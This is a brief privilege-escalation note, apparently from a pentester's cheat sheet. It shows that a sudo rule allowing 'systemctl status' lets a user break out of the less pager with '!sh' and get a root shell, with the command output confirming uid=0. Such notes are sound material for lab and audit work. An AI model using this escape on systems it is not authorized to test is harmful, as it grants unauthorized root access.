Systemctl

If the systemctl command ends up invoking a pager, e.g. less, then PE can be achieved:

$ sudo -l
User x7331 may run the following commands on kali:
    (root) NOPASSWD: /usr/bin/systemctl status random.service

$ sudo /usr/bin/systemctl status random.service
Aug 05 17:12:08 rnd.com systemd[1]: Starting Rnd Server...
Aug 05 17:12:08 rnd.com rnd-server.sh[792]: Spawning Rnd restarter in separate process
Aug 05 17:12:08 rnd.com rnd-server.sh[792]: Rnd restarter running with PID 852
Aug 05 17:12:08 rnd.com systemd[1]: Started Example Server.
!sh
# id
uid=0(root) gid=0(root) groups=0(root)

Last updated

Was this helpful?